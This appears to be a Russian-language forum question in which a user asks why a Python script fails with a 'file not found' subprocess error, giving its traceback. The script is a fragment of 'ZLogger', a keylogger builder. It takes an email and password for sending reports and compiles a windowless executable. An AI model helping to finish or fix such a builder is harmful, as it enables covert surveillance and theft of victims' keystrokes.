Как исправить «не удается найти указанный файл (подпроцесс)» - PullRequest
0 голосов
/ 02 ноября 2019

"Я запускаю файл, который содержит разные коды, но он показывает мне сообщение об ошибке:« не могу найти указанный файл »(написано на моем языке)

Это частьфайл python с разными кодами.

!/usr/bin/env python

import argparse

import subprocess

import os


WINDOWS_PYTHON_INTERPRETER_PATH = 
os.path.expanduser("~/.wine/drive_c/Python27/Scripts/pyinstaller.exe")


def get_arguments():

parser = argparse.ArgumentParser(description='ZLogger v2.0')
parser._optionals.title = "Optional Arguments"
parser.add_argument("-i", "--interval", dest="interval", help="Time 
between reports in seconds.", default=120)
parser.add_argument("-w", "--windows", dest="windows", help="Generate a 
Windows executable.", action='store_true')
parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux 
executable.", action='store_true')

required_arguments = parser.add_argument_group('Required Arguments')
required_arguments.add_argument("-e", "--email", dest="email", help="Email 
address to send reports to.")
required_arguments.add_argument("-p", "--password", dest="password", 
help="Password for the email address given in the -e argument.")
required_arguments.add_argument("-o", "--out", dest="out", help="Output 
file name.", required=True)
return parser.parse_args()

Это результат:

Traceback (most recent call last):
File "C:\Users\Valerie\zlogger.py", line 39, in <module>
compile_for_windows(arguments.out)
File "C:\Users\Valerie\zlogger.py", line 30, in compile_for_windows
subprocess.call(["wine", WINDOWS_PYTHON_INTERPRETER_PATH, "--onefile", "-- 
 noconsole", file_name])
File "C:\Python27\lib\subprocess.py", line 168, in call
return Popen(*popenargs, **kwargs).wait()
File "C:\Python27\lib\subprocess.py", line 390, in __init__
errread, errwrite)
File "C:\Python27\lib\subprocess.py", line 640, in _execute_child
startupinfo)
WindowsError: [Error 2] Le fichier spÚcifiÚ est introuvable

C:\Users\Valerie>
...